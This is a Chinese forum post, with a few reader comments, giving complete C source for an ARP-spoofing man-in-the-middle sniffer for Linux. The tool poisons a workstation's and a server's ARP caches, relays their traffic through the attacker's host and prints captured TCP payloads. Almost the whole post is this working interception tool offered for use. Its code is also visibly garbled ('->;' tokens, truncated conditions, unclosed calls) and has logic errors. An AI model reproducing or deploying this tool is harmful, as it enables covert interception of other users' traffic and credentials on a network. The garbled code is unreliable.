Arp Sniffer 在linux下面的具体实现。

发布于 2022-10-01 20:03:55 字数 49400 浏览 19 评论 0

/*============================================================================
Coder:  Paris-ye
Released on: 1/9/2003
Test on: redhat 9.0

Information:
This is a arp spoof sniffer.
W <--- workstation
B <--- Server or  GateWay
M <--- Man in the middle (agent),self IP address

Make:
first you must install "pcap" and "libnet"
gcc -I/usr/local/include -L/usr/local/lib -o sniffer sniffer.c -lpcap -lnet

Usage:
./sniffer -I [Interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
============================================================================*/

#include <stdio.h>;
#include <net/if.h>;
#include <sys/ioctl.h>;
#include <pcap.h>;
#include <libnet.h>;

#define  MAXBUF                1024*4
#define  PCAP_TOUT        5
#define  PROMISC        0
#define  TRUE                1
#define  FALSE                0

/* Ethernet protocol ID's */   
#define ETHERTYPE_PUP           0x0200          /* Xerox PUP */
#define ETHERTYPE_IP            0x0800          /* IP */
#define ETHERTYPE_ARP           0x0806          /* Address resolution */
#define ETHERTYPE_REVARP        0x8035          /* Reverse ARP */

/* This structure defines an ethernet arp header.  */

/* ARP protocol opcodes. */
#define ARPOP_REQUEST   1               /* ARP request.  */
#define ARPOP_REPLY     2               /* ARP reply.  */
#define ARPOP_RREQUEST  3               /* RARP request.  */
#define ARPOP_RREPLY    4               /* RARP reply.  */
#define ARPOP_InREQUEST 8               /* InARP request.  */
#define ARPOP_InREPLY   9               /* InARP reply.  */
#define ARPOP_NAK       10              /* (ATM)ARP NAK.  */

/* ARP protocol HARDWARE identifiers. */
#define ARPHRD_NETROM   0               /* From KA9Q: NET/ROM pseudo. */
#define ARPHRD_ETHER    1               /* Ethernet 10/100Mbps.  */
#define ARPHRD_EETHER   2               /* Experimental Ethernet.  */
#define ARPHRD_AX25     3               /* AX.25 Level 2.  */
#define ARPHRD_PRONET   4               /* PROnet token ring.  */
#define ARPHRD_CHAOS    5               /* Chaosnet.  */
#define ARPHRD_IEEE802  6               /* IEEE 802.2 Ethernet/TR/TB.  */
#define ARPHRD_ARCNET   7               /* ARCnet.  */
#define ARPHRD_APPLETLK 8               /* APPLEtalk.  */
#define ARPHRD_DLCI     15              /* Frame Relay DLCI.  */
#define ARPHRD_ATM      19              /* ATM.  */
#define ARPHRD_METRICOM 23              /* Metricom STRIP (new IANA id).  */

/* Dummy types for non ARP hardware */
#define ARPHRD_SLIP       0x256
#define ARPHRD_CSLIP      0x257
#define ARPHRD_SLIP6      0x258
#define ARPHRD_CSLIP6     0x259
#define ARPHRD_RSRVD      0x260             /* Notional KISS type.  */
#define ARPHRD_ADAPT      0x264
#define ARPHRD_ROSE       0x270
#define ARPHRD_X25        0x271             /* CCITT X.25.  */
#define ARPHDR_HWX25      0x272             /* Boards with X.25 in firmware.  */
#define ARPHRD_PPP        0x512
#define ARPHRD_CISCO      0x513             /* Cisco HDLC.  */
#define ARPHRD_HDLC       ARPHRD_CISCO
#define ARPHRD_LAPB       0x516             /* LAPB.  */
#define ARPHRD_DDCMP      0x517             /* Digital's DDCMP.  */
#define ARPHRD_RAWHDLC    0x518             /* Raw HDLC.  */
   
#define ARPHRD_TUNNEL     0x768             /* IPIP tunnel.  */
#define ARPHRD_TUNNEL6    0x769             /* IPIP6 tunnel.  */
#define ARPHRD_FRAD       0x770             /* Frame Relay Access Device.  */
#define ARPHRD_SKIP       0x771             /* SKIP vif.  */
#define ARPHRD_LOOPBACK   0x772             /* Loopback device.  */
#define ARPHRD_LOCALTLK   0x773             /* Localtalk device.  */
#define ARPHRD_FDDI       0x774             /* Fiber Distributed Data Interface. */
#define ARPHRD_BIF        0x775             /* AP1000 BIF.  */
#define ARPHRD_SIT        0x776             /* sit0 device - IPv6-in-IPv4.  */
#define ARPHRD_IPDDP      0x777             /* IP-in-DDP tunnel.  */
#define ARPHRD_IPGRE      0x778             /* GRE over IP.  */
#define ARPHRD_PIMREG     0x779             /* PIMSM register interface.  */
#define ARPHRD_HIPPI      0x780             /* High Performance Parallel I'face. */
#define ARPHRD_ASH        0x781             /* (Nexus Electronics) Ash.  */
#define ARPHRD_ECONET     0x782             /* Acorn Econet.  */
#define ARPHRD_IRDA       0x783             /* Linux-IrDA.  */
#define ARPHRD_FCPP       0x784             /* Point to point fibrechanel.  */
#define ARPHRD_FCAL       0x785             /* Fibrechanel arbitrated loop.  */
#define ARPHRD_FCPL       0x786             /* Fibrechanel public loop.  */
#define ARPHRD_FCPFABRIC  0x787             /* Fibrechanel fabric.  */
#define ARPHRD_IEEE802_TR 0x800             /* Magic type ident for TR.  */
#define ARPHRD_IEEE80211  0x801             /* IEEE 802.11.  */

/* IP version number */
#define IPVERSION       4

struct ether_header
{
        u_int8_t  ether_dhost[6];      /* destination eth addr */
        u_int8_t  ether_shost[6];      /* source ether addr    */
        u_int16_t ether_type;          /* packet type ID field */
};

struct arphdr
{
        unsigned short int ar_hrd;          /* Format of hardware address.  */
        unsigned short int ar_pro;          /* Format of protocol address.  */
        unsigned char ar_hln;               /* Length of hardware address.  */
        unsigned char ar_pln;               /* Length of protocol address.  */
        unsigned short int ar_op;           /* ARP opcode (command).  */
        unsigned char __ar_sha[6];          /* Sender hardware address.  */
        unsigned char __ar_sip[4];          /* Sender IP address.  */
        unsigned char __ar_tha[6];          /* Target hardware address.  */
        unsigned char __ar_tip[4];          /* Target IP address.  */
};

/*
* Structure of an internet header, naked of options.
*/
struct iphead
{
        unsigned int ip_hl:4;               /* header length */
        unsigned int ip_v:4;                /* version */
        u_int8_t ip_tos;                    /* type of service */
        u_short ip_len;                     /* total length */
        u_short ip_id;                      /* identification */
        u_short ip_off;                     /* fragment offset field */
        u_int8_t ip_ttl;                    /* time to live */
        u_int8_t ip_p;                      /* protocol */
        u_short ip_sum;                     /* checksum */
        u_char ip_src[4], ip_dst[4];      /* source and dest address */
};

struct tcphead
  {
    u_int16_t th_sport;         /* source port */
    u_int16_t th_dport;         /* destination port */
    u_int32_t th_seq;             /* sequence number */
    u_int32_t th_ack;             /* acknowledgement number */
    u_int8_t th_off:4;          /* data offset */
    u_int8_t th_x2:4;           /* (unused) */
    u_int8_t th_flags;
#define TH_FIN        0x01
#define TH_SYN        0x02
#define TH_RST        0x04
#define TH_PUSH       0x08
#define TH_ACK        0x10
#define TH_URG        0x20
    u_int16_t th_win;           /* window */
    u_int16_t th_sum;           /* checksum */
    u_int16_t th_urp;           /* urgent pointer */
};

/*
* W , S , M 's ip and mac address
*/
struct ipmacaddr
{
        u_char ipW[4];
        u_char macW[6];
        u_char ipS[4];
        u_char macS[6];
        u_char ipM[4];
        u_char macM[6];
};
int usage(char* argv)
{
        printf("====================================\n";
        printf("============Arp Sniffer=============\n";
        printf("==========Write by Paris-Ye=========\n";
        printf("===Usage: %s -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]\n", argv);
        printf("===For example:\n";
        printf("\t%s -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254\n",argv);
        return 0;
}

/*send arp packet function*/
int arpsend(libnet_t* lnet,u_char* smac,u_char* sip,u_char* dmac,u_char* dip)
{
        int                                                ret=0;
        u_char*                                        packet;
        u_long                                        packets;
        libnet_ptag_t                        t;
        struct ether_header*        ethh;
        struct arphdr*                        arph;

        packets=sizeof(struct ether_header)+sizeof(struct arphdr);
        packet = malloc(packets);
        ethh = (struct ether_header* ) packet;
        arph = (struct arphdr* ) (packet+sizeof(struct ether_header));

        memcpy(ethh->;ether_dhost,dmac,6);
        memcpy(ethh->;ether_shost,smac,6);
        ethh->;ether_type = htons(ETHERTYPE_ARP);
        arph->;ar_hrd = htons(ARPOP_REQUEST);
        arph->;ar_pro = htons(ARPHRD_IEEE802_TR);
        arph->;ar_hln = 6;
        arph->;ar_pln = 4;
        arph->;ar_op = htons(ARPHRD_ETHER);
        memcpy(arph->;__ar_sha,smac,6);
        memcpy(arph->;__ar_sip,sip,4);
        bzero(arph->;__ar_tha,6);
        memcpy(arph->;__ar_tip,dip,4);
        ret = libnet_write_link(
                lnet,
                packet,
                packets
        );
        if(ret == -1)
        {
                return FALSE;
        }
        return TRUE;
}

/*Send spoof arp S And W every 6 second interval*/
void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac)
{
        while(TRUE)
        {
                arpsend(lnet,ipmac->;macM,ipmac->;ipS,ipmac->;macW,ipmac->;ipW);
                arpsend(lnet,ipmac->;macM,ipmac->;ipW,ipmac->;macS,ipmac->;ipS);
                sleep(6);
        }
}

/*Forward packets W--->;S or S--->;W*/
int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM)
{
        int ret=0;
        const u_char* datapoint=packet;
        struct ether_header* ethhdr;
        struct iphead*       iph;

        ethhdr = (struct ether_header*) datapoint;

        if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)
                return TRUE;
        if(!memcmp(ethhdr->;ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/
                return TRUE;
        if(memcmp(ethhdr->;ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/
                return TRUE;
        if(!memcmp(ethhdr->;ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/
        {
                memcpy(ethhdr->;ether_shost,macM,6);
                memcpy(ethhdr->;ether_dhost,macS,6);
                ret = libnet_write_link(
                        lnet,
                        (u_char*)datapoint,
                        len
                );
        }
        if(!memcmp(ethhdr->;ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/
        {
                memcpy(ethhdr->;ether_shost,macM,6);
                memcpy(ethhdr->;ether_dhost,macW,6);
                ret = libnet_write_link(
                        lnet,
                        (u_char*)datapoint,
                        len
                );
        }

        return TRUE;
}

/*print hex date to Ascii */
void printdat(u_char* packet,int len)
{
        int i=0,j=0;
        u_char str[16];
        for(i=0;i<=len-16;i+=16)
        {
                memcpy(str,packet+i,16);
                fprintf(stdout,"%02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x  ",
                        str[0],str[1],str[2],str[3],
                        str[4],str[5],str[6],str[7],
                        str[8],str[9],str[10],str[11],
                        str[12],str[13],str[14],str[15]
                );
                for(j=0;j<16;j++)
                {
                        if(str[j] < 32 || str[j] >; 126)
                                str[j]='.';
                }
                fprintf(stdout,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
                        str[0],str[1],str[2],str[3],
                        str[4],str[5],str[6],str[7],
                        str[8],str[9],str[10],str[11],
                        str[12],str[13],str[14],str[15]
                );
        }
        if(i!=len)
        {
                memcpy(str,packet+i,16);
                for(j=0;j<16;j++)
                {
                        if(j%4==0 && j!=0)
                                fprintf(stdout," ";
                        if((i+j)<len)
                        {
                                fprintf(stdout,"%02x",str[j]);
                        }
                        else
                                fprintf(stdout,"  ";
                }
                fprintf(stdout,"  ";
                for(j=0;j<16;j++)
                {
                        if((i+j)<len)
                        {
                                if(str[j] < 32 || str[j] >; 126)
                                        str[j]='.';
                                fprintf(stdout,"%c",str[j]);
                        }
                }
                fprintf(stdout,"\n\n";
        }
}

/*parse packet*/
int  parsedate(const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM,u_char* ipW,u_char* ipS,int* port)
{
        int        i=0;
        int     contents;
        u_char* content;
        const u_char* datapoint=packet;
        struct ether_header* ethhdr;
        struct iphead*       iph;
        struct tcphead*      tcph;

        ethhdr = (struct ether_header*) datapoint;
        iph = (struct iphead*) (datapoint+sizeof(struct ether_header));
        tcph = (struct tcphead*) (datapoint+sizeof(struct ether_header)+sizeof(struct iphead));
        if(memcmp(ethhdr->;ether_shost,macW,6) && memcmp(ethhdr->;ether_shost,macS,6))
                return FALSE;
        if(memcmp(ethhdr->;ether_dhost,macM,6))
                return FALSE;
        if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)
                return FALSE;
        if(iph->;ip_v != 4 || iph->;ip_hl != 5)
                return FALSE;
        if(!(!memcmp(iph->;ip_dst,ipW,4) || !memcmp(iph->;ip_src,ipW,4)))
                return FALSE;
        if(iph->;ip_p != IPPROTO_TCP)
                return FALSE;
        contents = htons(iph->;ip_len)-sizeof(struct iphead)-sizeof(struct tcphead);
        content = (u_char *)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead)+sizeof(struct tcphead));
        if((tcph->;th_flags & TH_PUSH))
        {
                for(i==0;port!=0;i++)
                {
                        printf("=====%d %d\n",port,htons(tcph->;th_dport));
                        if(port==htons(tcph->;th_dport) || port==htons(tcph->;th_sport))
                                break;
                }
                if(port==0)
                        return;
                printf("Size:[%d] [%d.%d.%d.%d:%d]->;[%d.%d.%d.%d:%d]\n",htons(iph->;ip_len),
                        iph->;ip_src[0],iph->;ip_src[1],iph->;ip_src[2],iph->;ip_src[3],htons(tcph->;th_sport),
                        iph->;ip_dst[0],iph->;ip_dst[1],iph->;ip_dst[2],iph->;ip_dst[3],htons(tcph->;th_dport)
                        );
                printdat(content,contents);
        }

        return TRUE;
}

/*Sniffer packets*/
int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port)
{
        const u_char* packet;
        struct pcap_pkthdr hdr;
        while(1)
        {
                packet=pcap_next(lpcap,&hdr);
                if(packet==NULL || hdr.len==0)
                        continue;
                parsedate(packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM,ipmac->;ipW,ipmac->;ipS,port);
                forwarddate(lnet,packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM);
        }

        return TRUE;
}

/*
When initialize Get the S and W Mac address
Send arp request
*/
int gettargetmac(libnet_t* lnet,struct ipmacaddr* ipmac)
{
        while(1)
        {
                arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macW,ipmac->;ipW);
                arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macS,ipmac->;ipS);
                sleep(1);
        }
        return TRUE;
}

/*
When initialize Get the S and W Mac address
parse arp reply
*/
int getmacaddress(char* dev,libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac)
{
        int skfd=0;
        unsigned int isgetmac=0x0;
        pid_t        pid=0;
        struct ifreq ifr;
        const u_char* packet;
        struct pcap_pkthdr hdr;
        struct ether_header* ethhdr;
        struct arphdr*                        arph;

//----------get local mac adrress
        strcpy(ifr.ifr_name,dev);
        skfd = socket(AF_INET,SOCK_DGRAM,0);
        if(skfd<0)
        {
                printf("Can't open socket!\n";
                return FALSE;
        }
        if(ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0)
        {
                printf("Can't read local mac address!\n";
                return FALSE;
        }
        memcpy(ipmac->;macM,ifr.ifr_hwaddr.sa_data,6);
        close(skfd);
//----------get target mac address
        pid = fork();
        if(pid==0)
        {
                gettargetmac(lnet,ipmac);
                exit(TRUE);
        }
        while(1)
        {
                packet=pcap_next(lpcap,&hdr);
                if(packet==NULL || hdr.len==0)
                        continue;
                ethhdr = (struct ether_header*) packet;
                arph = (struct arphdr*) (packet+sizeof(struct ether_header));

                if(memcmp(ethhdr->;ether_dhost,ipmac->;macM,6))
                        continue;
                if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_ARP)
                        continue;
                if(!memcmp(arph->;__ar_sip,ipmac->;ipW,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4))
                {
                        memcpy(ipmac->;macW,arph->;__ar_sha,6);
                        isgetmac=0xFFFF0000 | isgetmac;
                }
                if(!memcmp(arph->;__ar_sip,ipmac->;ipS,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4))
                {
                        memcpy(ipmac->;macS,arph->;__ar_sha,6);
                        isgetmac=0x0000FFFF | isgetmac;
                }
                if(isgetmac == 0xFFFFFFFF)
                        break;
        }
        kill(pid,9);
        return TRUE;
}

int main(int argc,char* argv[])
{
        int                 ret=0,i=0;
        char                 *p,*s;
        char                c;
        char                string[]="I:M:W:S:";
        int                port[100];
        char                dev[32]="";
        struct ipmacaddr ipmac;
        pid_t                pid;
        libnet_t*        lnet;
        pcap_t*     lpcap;
        bpf_u_int32 netp,maskp;
        struct bpf_program fp;
        char        err[PCAP_ERRBUF_SIZE];
        char        filterstr[]="";

        unsigned int ipM;
        unsigned int ipW;
        unsigned int ipS;
        u_char macW[] = {255,255,255,255,255,255,255};
        u_char macS[] = {255,255,255,255,255,255,255};
        u_char macM[] = {255,255,255,255,255,255,255};

        bzero(&ipmac,sizeof(struct ipmacaddr));
        if(argc<
        {
                usage(argv[0]);
                return FALSE;
        }
        while((c = getopt(argc, argv, string)) != EOF)
        {
                switch(c)
                {
                        case('I'):
                                strcpy(dev,optarg);
                        break;
                        case('M'):
                                ipM = inet_addr(optarg);
                                memcpy(ipmac.ipM,(void*)&ipM,4);
                        break;
                        case('W'):
                                ipW = inet_addr(optarg);
                                memcpy(ipmac.ipW,(void*)&ipW,4);
                        break;
                        case('S'):
                                ipS = inet_addr(optarg);
                                memcpy(ipmac.ipS,(void*)&ipS,4);
                        break;
                        case('P'):
                                printf("%s\n",optarg);
                                s = optarg;
                                      p=strtok(s,":");
                                while(p)
                                {
                                        port=atoi(p);
                                          printf("%d\n",port);
                                          p=strtok(NULL,":");
                                        i++;
                                       }
                                port=0;

                        break;
                        default:
                                usage(argv[0]);
                                return FALSE;
                }
        }

        memcpy(ipmac.macW,macW,6);
        memcpy(ipmac.macS,macS,6);
        memcpy(ipmac.macM,macM,6);
        ret = pcap_lookupnet(dev,&netp,&maskp,err);
        if(ret == -1)
        {
                printf("Can't initialize PCAP![%s]\n",err);
                return FALSE;
        }
        lpcap = pcap_open_live(
                dev,
                MAXBUF,
                PROMISC,
                PCAP_TOUT,
                err
        );
        if(lpcap == NULL)
        {
                printf("Can't initialize PCAP![%s]\n",err);
                return FALSE;
        }

        ret = pcap_compile(lpcap,&fp,filterstr,0,netp);
        if(ret == -1)
        {
                printf("Error pcap_compile!\n");
                return FALSE;
        }

        ret = pcap_setfilter(lpcap,&fp);
        if(ret == -1)
        {
                printf("Error pcap_setfilter!\n");
                return FALSE;
        }

        lnet = libnet_init(
                LIBNET_LINK,
                dev,
                err);
        if(lnet == NULL)
        {
                printf("Can't initialize libnet!Please check the [dev]\n");
                return FALSE;
        }

        ret = getmacaddress(dev,lnet,lpcap,&ipmac);
        printf("Get network cards mac address:\n");
        printf("M->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macM[0],ipmac.macM[1],ipmac.macM[2],ipmac.macM[3],ipmac.macM[4],ipmac.macM[5],ipmac.macM[6]);
        printf("W->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macW[0],ipmac.macW[1],ipmac.macW[2],ipmac.macW[3],ipmac.macW[4],ipmac.macW[5],ipmac.macW[6]);
        printf("S->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macS[0],ipmac.macS[1],ipmac.macS[2],ipmac.macS[3],ipmac.macS[4],ipmac.macS[5],ipmac.macS[6]);
        printf("\nNow Start... .. .\n");
        if(ret == FALSE)
        {
                return FALSE;
        }

        pid = fork();
        if(pid==0)
        {
                arpspoof(lnet,&ipmac);
                return FALSE;
        }else
        {
                agentpacket(lnet,lpcap,&ipmac,port);
        }

        libnet_destroy(lnet);
        pcap_close(lpcap);
        printf("Done\n");
        return TRUE;
}

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(5

_失温 2022-10-08 20:03:55

最好多加点说明什么的,这有点看不懂喽

夜清冷一曲。 2022-10-08 20:03:55

原帖由 paris-ye 于 2004-2-26 10:27 发表
/*============================================================================
Coder:  Paris-ye
Released on: 1/9/2003
Test on: redhat 9.0

Information:
This is a arp spoof sniffer.
W ;ethe ...

不错不错。

暖心男生 2022-10-08 20:03:55

好贴 赞一个

仙女山的月亮 2022-10-08 20:03:55

先来看看,用代码括起来嘛

何必那么矫情 2022-10-08 20:03:55

不错。建议“禁用Smilies”

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文